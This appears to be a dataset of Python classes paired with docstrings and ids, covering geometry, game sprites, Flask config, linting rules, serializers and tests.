for x in range(self.height)]) <NEW_LINE> <DEDENT> def __repr__(self): <NEW_LINE> <INDENT> return "Rectangle({:d}, {:d})".format(self.width, self.height) <NEW_LINE> <DEDENT> def __del__(self): <NEW_LINE> <INDENT> print("Bye rectangle...") <NEW_LINE> Rectangle.number_of_instances -= 1 <NEW_LINE> <DEDENT> @property <NEW_LINE> def height(self): <NEW_LINE> <INDENT> return self.__height <NEW_LINE> <DEDENT> @height.setter <NEW_LINE> def height(self, value): <NEW_LINE> <INDENT> if type(value) is not int: <NEW_LINE> <INDENT> raise TypeError("height must be an integer") <NEW_LINE> <DEDENT> if value < 0: <NEW_LINE> <INDENT> raise ValueError("height must be >= 0") <NEW_LINE> <DEDENT> self.__height = value <NEW_LINE> <DEDENT> @property <NEW_LINE> def width(self): <NEW_LINE> <INDENT> return self.__width <NEW_LINE> <DEDENT> @width.setter <NEW_LINE> def width(self, value): <NEW_LINE> <INDENT> if type(value) is not int: <NEW_LINE> <INDENT> raise TypeError("width must be an integer") <NEW_LINE> <DEDENT> if value < 0: <NEW_LINE> <INDENT> raise ValueError("width must be >= 0") <NEW_LINE> <DEDENT> self.__width = value <NEW_LINE> <DEDENT> def area(self): <NEW_LINE> <INDENT> return self.width * self.height <NEW_LINE> <DEDENT> def perimeter(self): <NEW_LINE> <INDENT> if self.width == 0 or self.height == 0: <NEW_LINE> <INDENT> return 0 <NEW_LINE> <DEDENT> return (self.width + self.height) * 2 | A rectangle
Attributes:
number_of_instances (int): total instances
print_symbol (any): symbol to represent size of rectangle
bigger_or_equal (rect_1, rect_2): compares 2 rectangles
square (size): makes a square
__width (int)
__height (int)
__str (str): rectangle shown in string form (#)
__repr (str): declaration form of rectangle
__del (str): deletion messsage
area() (int)
perimeter() (int) | 62598faaac7a0e7691f7247b |
class BodySprite(pygame.sprite.DirtySprite): <NEW_LINE> <INDENT> def __init__(self, body, frame, imagename, imagesize=-1): <NEW_LINE> <INDENT> pygame.sprite.DirtySprite.__init__(self) <NEW_LINE> self.body = body <NEW_LINE> self.frame = frame <NEW_LINE> self.baseimage = loader.load_image(imagename, True) <NEW_LINE> self.baseimagerect = self.baseimage.get_rect() <NEW_LINE> if imagesize == -1: <NEW_LINE> <INDENT> imagesize = self.baseimagerect.width <NEW_LINE> <DEDENT> self.baseimage_actradius = imagesize <NEW_LINE> self.size = None <NEW_LINE> self.angle = self.body_angle = 0 <NEW_LINE> self.maxscale = float(MAX_IMAGE_SIZE * self.baseimage_actradius) / (2 * self.body.radius * imagesize) <NEW_LINE> self.min_size = 6 <NEW_LINE> <DEDENT> def set_image(self, scale, angle): <NEW_LINE> <INDENT> apply_rotation = self.angle != angle <NEW_LINE> size = max(self.min_size, 2 * self.body.radius * scale) <NEW_LINE> if self.size != size: <NEW_LINE> <INDENT> ratio = size / float(self.baseimage_actradius) <NEW_LINE> self.image = self.base_rotimage = pygame.transform.scale(self.baseimage, ( int(ratio * self.baseimagerect.width), int(ratio * self.baseimagerect.height))) <NEW_LINE> self.size = size <NEW_LINE> apply_rotation = True <NEW_LINE> <DEDENT> if apply_rotation: <NEW_LINE> <INDENT> self.image = pygame.transform.rotate(self.base_rotimage, angle) <NEW_LINE> self.angle = angle <NEW_LINE> self.rect = self.image.get_rect() <NEW_LINE> <DEDENT> <DEDENT> def update(self): <NEW_LINE> <INDENT> self.visible = self.frame.safe_set_pos(self) <NEW_LINE> self.dirty = True <NEW_LINE> <DEDENT> def rescale(self, scale): <NEW_LINE> <INDENT> self.set_image(scale, self.body_angle) <NEW_LINE> self.scale = scale <NEW_LINE> <DEDENT> def set_pos(self, x, y): <NEW_LINE> <INDENT> self.rect.center = x, y | representation of a body on a frame | 62598faa7047854f4633f34b |
class TopTracksExistError(Exception): <NEW_LINE> <INDENT> pass | Some kind of problem with charging a payment. | 62598faa796e427e5384e705 |
@final <NEW_LINE> class InconsistentReturnVariableViolation(ASTViolation): <NEW_LINE> <INDENT> error_template = ( 'Found local variable that are only used in `return` statements' ) <NEW_LINE> code = 331 | Forbids local variable that are only used in ``return`` statements.
Reasoning:
This is done for consistency and more readable source code.
Solution:
Return the expression itself, instead of creating a temporary variable.
Example::
# Correct:
def some_function():
return 1
# Wrong:
def some_function():
some_value = 1
return some_value
.. versionadded:: 0.9.0 | 62598faa851cf427c66b8230 |
class BaseConfig: <NEW_LINE> <INDENT> SECRET_KEY = config.SECRET_KEY <NEW_LINE> MAIL_SERVER = 'smtp.gmail.com' <NEW_LINE> MAIL_PORT = 465 <NEW_LINE> MAIL_USE_TLS = False <NEW_LINE> MAIL_USE_SSL = True <NEW_LINE> MAIL_USERNAME = config.SENDER_EMAIL <NEW_LINE> MAIL_PASSWORD = config.PASSWORD <NEW_LINE> MAIL_DEFAULT_SENDER = config.SENDER_EMAIL <NEW_LINE> MAIL_DEBUG = config.DEBUG <NEW_LINE> DEBUG = config.DEBUG | Basic settings required by all classes | 62598faa0a50d4780f70534f |
class SynchronousException(Exception): <NEW_LINE> <INDENT> pass | Helper used to test remote methods which raise exceptions which are not
L{pb.Error} subclasses. | 62598faa6e29344779b005ce |
class UserDetector(): <NEW_LINE> <INDENT> def wrapper_if_logged_in(self, func): <NEW_LINE> <INDENT> def logged_in_or_error(self, *args): <NEW_LINE> <INDENT> if self.user_is_logged_in(): <NEW_LINE> <INDENT> return func(*args) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> return self.error(404) <NEW_LINE> <DEDENT> <DEDENT> return logged_in_or_error <NEW_LINE> <DEDENT> def user_is_logged_in(self): <NEW_LINE> <INDENT> user = users.get_current_user() <NEW_LINE> return True if user else False <NEW_LINE> <DEDENT> def user_is_app_admin(self): <NEW_LINE> <INDENT> return users.is_current_user_admin() <NEW_LINE> <DEDENT> def user_is_blog_admin(self): <NEW_LINE> <INDENT> if self.user_is_logged_in(): <NEW_LINE> <INDENT> user = users.get_current_user() <NEW_LINE> if user.email() in self.app.config['blog_admins']: <NEW_LINE> <INDENT> return True <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> return False <NEW_LINE> <DEDENT> <DEDENT> return None <NEW_LINE> <DEDENT> def user_is_allowed_author(self): <NEW_LINE> <INDENT> if self.user_is_logged_in: <NEW_LINE> <INDENT> user = users.get_current_user() <NEW_LINE> if user.email() in self.app.config['blog_admins']: <NEW_LINE> <INDENT> return True <NEW_LINE> <DEDENT> elif db.AllowedBlogAuthor.is_in_db_by_email(user.email()): <NEW_LINE> <INDENT> return True <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> return False <NEW_LINE> <DEDENT> <DEDENT> return None <NEW_LINE> <DEDENT> def add_allowed_author(self, email): <NEW_LINE> <INDENT> db.add_blog_author(email) <NEW_LINE> <DEDENT> def get_login_url(self): <NEW_LINE> <INDENT> return users.create_login_url(dest_url=self.request.url) <NEW_LINE> <DEDENT> def get_logout_url(self): <NEW_LINE> <INDENT> return users.create_logout_url(dest_url=self.request.url) <NEW_LINE> <DEDENT> def get_user_nickname_email(self): <NEW_LINE> <INDENT> if self.user_is_logged_in: <NEW_LINE> <INDENT> user = users.get_current_user() <NEW_LINE> return user.nickname(), user.email() <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> return None, None | single class used to detect if user is loggedin or an admin or something else | 62598faadd821e528d6d8ea7 |
class nodesParser(fileParser): <NEW_LINE> <INDENT> def __init__(self, filename): <NEW_LINE> <INDENT> fileParser.__init__(self,filename) <NEW_LINE> self.Nodes={} <NEW_LINE> self.Relations=[] <NEW_LINE> <DEDENT> def lineParseCriteria(self,line): <NEW_LINE> <INDENT> return (len(line.strip())>1 and line.strip()[0] =='#') <NEW_LINE> <DEDENT> def parseLine(self, line): <NEW_LINE> <INDENT> line = line.strip() <NEW_LINE> position = line.find(":") <NEW_LINE> if position >= 0: <NEW_LINE> <INDENT> Id = line[1:position].strip() <NEW_LINE> Description = line[position+2:].strip() <NEW_LINE> self.Nodes[Id]= Description <NEW_LINE> <DEDENT> <DEDENT> def loadNodeContainer(self, nodeContainer): <NEW_LINE> <INDENT> for node in self.Nodes.keys(): <NEW_LINE> <INDENT> nodeContainer.addNode(node,{"label":self.Nodes[node]}) | docstring for nodesParser | 62598faadd821e528d6d8ea8 |
class Trans(Node): <NEW_LINE> <INDENT> def __init__(self, singular, plural, indicator, replacements, lineno=None, filename=None): <NEW_LINE> <INDENT> Node.__init__(self, lineno, filename) <NEW_LINE> self.singular = singular <NEW_LINE> self.plural = plural <NEW_LINE> self.indicator = indicator <NEW_LINE> self.replacements = replacements <NEW_LINE> <DEDENT> def get_items(self): <NEW_LINE> <INDENT> rv = [self.singular, self.plural, self.indicator] <NEW_LINE> if self.replacements: <NEW_LINE> <INDENT> rv.extend(self.replacements.values()) <NEW_LINE> rv.extend(self.replacements.keys()) <NEW_LINE> <DEDENT> return rv <NEW_LINE> <DEDENT> def __repr__(self): <NEW_LINE> <INDENT> return 'Trans(%r, %r, %r, %r)' % ( self.singular, self.plural, self.indicator, self.replacements ) | A node for translatable sections. | 62598faa4e4d562566372398 |
class b2Profile(object): <NEW_LINE> <INDENT> thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') <NEW_LINE> __repr__ = _swig_repr <NEW_LINE> step = _swig_property(_Box2D.b2Profile_step_get, _Box2D.b2Profile_step_set) <NEW_LINE> collide = _swig_property(_Box2D.b2Profile_collide_get, _Box2D.b2Profile_collide_set) <NEW_LINE> solve = _swig_property(_Box2D.b2Profile_solve_get, _Box2D.b2Profile_solve_set) <NEW_LINE> solveInit = _swig_property(_Box2D.b2Profile_solveInit_get, _Box2D.b2Profile_solveInit_set) <NEW_LINE> solveVelocity = _swig_property(_Box2D.b2Profile_solveVelocity_get, _Box2D.b2Profile_solveVelocity_set) <NEW_LINE> solvePosition = _swig_property(_Box2D.b2Profile_solvePosition_get, _Box2D.b2Profile_solvePosition_set) <NEW_LINE> broadphase = _swig_property(_Box2D.b2Profile_broadphase_get, _Box2D.b2Profile_broadphase_set) <NEW_LINE> solveTOI = _swig_property(_Box2D.b2Profile_solveTOI_get, _Box2D.b2Profile_solveTOI_set) <NEW_LINE> def __init__(self): <NEW_LINE> <INDENT> _Box2D.b2Profile_swiginit(self,_Box2D.new_b2Profile()) <NEW_LINE> <DEDENT> __swig_destroy__ = _Box2D.delete_b2Profile | Proxy of C++ b2Profile class | 62598faa6aa9bd52df0d4e3b |
class Factor(HasProps): <NEW_LINE> <INDENT> attr = String() <NEW_LINE> def __init__(self, attr): <NEW_LINE> <INDENT> self.attr = attr | Represents a factorization ("uniquification") of a particular
column. This is typically used to generate the unique set of values
for a categorical dimension, to feed in to things like facets and
color scales. | 62598faa379a373c97d98f85 |
class TagFeed(Feed): <NEW_LINE> <INDENT> def get_object(self,request,tag): <NEW_LINE> <INDENT> return get_object_or_404(Tag, slug=tag) <NEW_LINE> <DEDENT> def title(self,obj): <NEW_LINE> <INDENT> return u"yasar11732: %s ile ilgili makaleler" % obj.text <NEW_LINE> <DEDENT> def item_description(self,obj): <NEW_LINE> <INDENT> return obj.abstract + obj.post <NEW_LINE> <DEDENT> def link(self,obj): <NEW_LINE> <INDENT> return reverse("tag",args=[obj.slug]) <NEW_LINE> <DEDENT> def description(self, obj): <NEW_LINE> <INDENT> return u"%s ile ilgili tüm yazılar" % obj.text <NEW_LINE> <DEDENT> def items(self,obj): <NEW_LINE> <INDENT> return obj.post_set.filter(yayinlandi=True).order_by("-pub_date")[:15] <NEW_LINE> <DEDENT> def item_pubdate(self,item): <NEW_LINE> <INDENT> return item.pub_date <NEW_LINE> <DEDENT> def item_link(self,item): <NEW_LINE> <INDENT> global domain <NEW_LINE> return getShortUrl("http://" + domain + str(item.get_absolute_url())) | 15 latest posts for a given tag. | 62598faaaad79263cf42e747 |
class Camera(Object3d): <NEW_LINE> <INDENT> def __init__(self, ortho, res_x, res_y): <NEW_LINE> <INDENT> super().__init__(self) <NEW_LINE> self.ortho = ortho <NEW_LINE> self.res_x = res_x <NEW_LINE> self.res_y = res_y <NEW_LINE> self.near_plane = 1 <NEW_LINE> self.far_plane = 100 <NEW_LINE> self.fov = math.radians(60) <NEW_LINE> self.proj_matrix = Matrix4.identity() <NEW_LINE> <DEDENT> def get_projection_matrix(self): <NEW_LINE> <INDENT> self.proj_matrix = Matrix4.zeros() <NEW_LINE> if self.ortho: <NEW_LINE> <INDENT> self.proj_matrix[0, 0] = self.res_x * 0.5 <NEW_LINE> self.proj_matrix[1, 1] = self.res_y * 0.5 <NEW_LINE> self.proj_matrix[3, 0] = 0 <NEW_LINE> self.proj_matrix[3, 1] = 0 <NEW_LINE> self.proj_matrix[3, 3] = 1 <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> t = math.tan(self.fov * 0.5) <NEW_LINE> a = self.res_y / self.res_x <NEW_LINE> self.proj_matrix[0, 0] = 0.5 * self.res_x / t <NEW_LINE> self.proj_matrix[1, 1] = 0.5 * self.res_y / (a * t) <NEW_LINE> self.proj_matrix[2, 3] = 1 <NEW_LINE> self.proj_matrix[2, 2] = self.far_plane / (self.far_plane - self.near_plane) <NEW_LINE> self.proj_matrix[3, 2] = self.proj_matrix[2, 2] * self.near_plane <NEW_LINE> <DEDENT> return self.proj_matrix <NEW_LINE> <DEDENT> def get_camera_matrix(self): <NEW_LINE> <INDENT> trans = Matrix4.identity() <NEW_LINE> trans[3, 0] = -self.position.x <NEW_LINE> trans[3, 1] = -self.position.y <NEW_LINE> trans[3, 2] = -self.position.z <NEW_LINE> rotation_matrix = self.rotation.inverted().as_rotation_matrix() <NEW_LINE> return trans * rotation_matrix <NEW_LINE> <DEDENT> def ray_from_ndc(self, pos): <NEW_LINE> <INDENT> vpos = Vector3(pos[0], pos[1], self.near_plane) <NEW_LINE> vpos.x = vpos.x * self.res_x * 0.5 <NEW_LINE> vpos.y = -vpos.y * self.res_y * 0.5 <NEW_LINE> inv_view_proj_matrix = self.get_camera_matrix() * self.get_projection_matrix() <NEW_LINE> inv_view_proj_matrix.invert() <NEW_LINE> direction = inv_view_proj_matrix.posmultiply_v3(vpos, 1) <NEW_LINE> direction = Vector3(direction.x, direction.y, direction.z).normalized() <NEW_LINE> return self.position + direction * self.near_plane, direction | Camera class.
It allows us to have a viewport into the scene. Each scene has a camera set. | 62598faad486a94d0ba2bf41 |
class StarWars(BaseProvider): <NEW_LINE> <INDENT> def planet(self): <NEW_LINE> <INDENT> return self.random_element(PLANETS) <NEW_LINE> <DEDENT> def film(self): <NEW_LINE> <INDENT> return self.random_element(FILMS) <NEW_LINE> <DEDENT> def person(self): <NEW_LINE> <INDENT> return self.random_element(PEOPLE) <NEW_LINE> <DEDENT> def species(self): <NEW_LINE> <INDENT> return self.random_element(SPECIES) <NEW_LINE> <DEDENT> def starship(self): <NEW_LINE> <INDENT> return self.random_element(STARSHIPS) <NEW_LINE> <DEDENT> def vehicle(self): <NEW_LINE> <INDENT> return self.random_element(VEHICLES) | A Faker provider for various entities from the Star Wars universe. | 62598faa67a9b606de545f3f |
class ReportOutputSerializer(serializers.Serializer): <NEW_LINE> <INDENT> def __init__(self, *args, output_fields=None, **kwargs): <NEW_LINE> <INDENT> super().__init__(*args, **kwargs) <NEW_LINE> self.output_fields = output_fields <NEW_LINE> <DEDENT> def update(self, instance, validated_data): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def create(self, validated_data): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def get_fields(self): <NEW_LINE> <INDENT> fields = OrderedDict() <NEW_LINE> for field_name, field_attrs in self.output_fields.items(): <NEW_LINE> <INDENT> field = field_attrs.get("serializer_field", None) <NEW_LINE> if field and isinstance(field, Field): <NEW_LINE> <INDENT> fields[field_name] = copy.deepcopy(field) <NEW_LINE> continue <NEW_LINE> <DEDENT> field_source = field_attrs.get("source", None) <NEW_LINE> if field_source is None: <NEW_LINE> <INDENT> fields[field_name] = serializers.ReadOnlyField() <NEW_LINE> <DEDENT> elif callable(field_source): <NEW_LINE> <INDENT> setattr(self, "get_{}".format(field_name), field_source) <NEW_LINE> fields[field_name] = serializers.SerializerMethodField() <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> fields[field_name] = serializers.ReadOnlyField(source=field_source) <NEW_LINE> <DEDENT> <DEDENT> return fields | Default serializer for the report data
Serializes fields that are passed in the output_fields keyword argument
on instantiation. | 62598faa99cbb53fe6830e4b |
class GetRelatedResourceTests(TestBase): <NEW_LINE> <INDENT> def test_reverse_relation(self): <NEW_LINE> <INDENT> serializer = EntrySerializer() <NEW_LINE> field = serializer.fields['comments'] <NEW_LINE> self.assertEqual(utils.get_related_resource_type(field), 'comments') <NEW_LINE> <DEDENT> def test_m2m_relation(self): <NEW_LINE> <INDENT> serializer = EntrySerializer() <NEW_LINE> field = serializer.fields['authors'] <NEW_LINE> self.assertEqual(utils.get_related_resource_type(field), 'authors') <NEW_LINE> <DEDENT> def test_m2m_reverse_relation(self): <NEW_LINE> <INDENT> serializer = AuthorSerializer() <NEW_LINE> field = serializer.fields['entries'] <NEW_LINE> self.assertEqual(utils.get_related_resource_type(field), 'entries') | Ensure the `get_related_resource_type` function returns correct types. | 62598faa26068e7796d4c8c8 |
class UnsupportedOperationException(Exception): <NEW_LINE> <INDENT> pass | The method is not supported by this DRMAA implementation. | 62598faa8a43f66fc4bf20f0 |
class NoOpLock(): <NEW_LINE> <INDENT> def acquire(self): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def release(self): <NEW_LINE> <INDENT> pass | A No-op lock class, to avoid a lot of "if self.lock:" in code using locks. | 62598faa5fcc89381b266106 |
class EditorDisplayTest(TaskEditorTestCase): <NEW_LINE> <INDENT> def getItems(self): <NEW_LINE> <INDENT> return [self.task] <NEW_LINE> <DEDENT> def createTasks(self): <NEW_LINE> <INDENT> self.task = task.Task('Task to edit') <NEW_LINE> self.stop_datetime = date.DateTime(2012, 12, 12, 12, 12) <NEW_LINE> self.task.setRecurrence( date.Recurrence('daily', amount=1, stop_datetime=self.stop_datetime)) <NEW_LINE> return [self.task] <NEW_LINE> <DEDENT> def testSubject(self): <NEW_LINE> <INDENT> self.assertEqual('Task to edit', self.editor._interior[0]._subjectEntry.GetValue()) <NEW_LINE> <DEDENT> def testDueDateTime(self): <NEW_LINE> <INDENT> self.assertEqual(date.DateTime(), self.editor._interior[1]._dueDateTimeEntry.GetValue()) <NEW_LINE> <DEDENT> def testActualStartDateTime(self): <NEW_LINE> <INDENT> self.assertEqual(date.DateTime(), self.editor._interior[1]._actualStartDateTimeEntry.GetValue()) <NEW_LINE> <DEDENT> def testRecurrenceUnit(self): <NEW_LINE> <INDENT> choice = self.editor._interior[1]._recurrenceEntry._recurrencePeriodEntry <NEW_LINE> self.assertEqual('Daily', choice.GetString(choice.GetSelection())) <NEW_LINE> <DEDENT> def testRecurrenceFrequency(self): <NEW_LINE> <INDENT> freq = self.editor._interior[1]._recurrenceEntry._recurrenceFrequencyEntry <NEW_LINE> self.assertEqual(1, freq.GetValue()) <NEW_LINE> <DEDENT> def testRecurrenceStopDateTime(self): <NEW_LINE> <INDENT> stop = self.editor._interior[1]._recurrenceEntry._recurrenceStopDateTimeEntry <NEW_LINE> self.assertEqual(self.stop_datetime, stop.GetValue()) | Does the editor display the task data correctly when opened? | 62598faa167d2b6e312b6ee5 |
class NetworkTimeoutError(NCPError, asyncio.TimeoutError): <NEW_LINE> <INDENT> pass | Raised when an NCP :class:`Connection` times out while performing network activity. | 62598faa71ff763f4b5e76e2 |
class BlockOperator(BlockOperatorBase): <NEW_LINE> <INDENT> blocked_source = True <NEW_LINE> blocked_range = True | A matrix of arbitrary |Operators|.
This operator can be :meth:`applied <pymor.operators.interface.Operator.apply>`
to a compatible :class:`BlockVectorArrays <pymor.vectorarrays.block.BlockVectorArray>`.
Parameters
----------
blocks
Two-dimensional array-like where each entry is an |Operator| or `None`. | 62598faa3d592f4c4edbae40 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.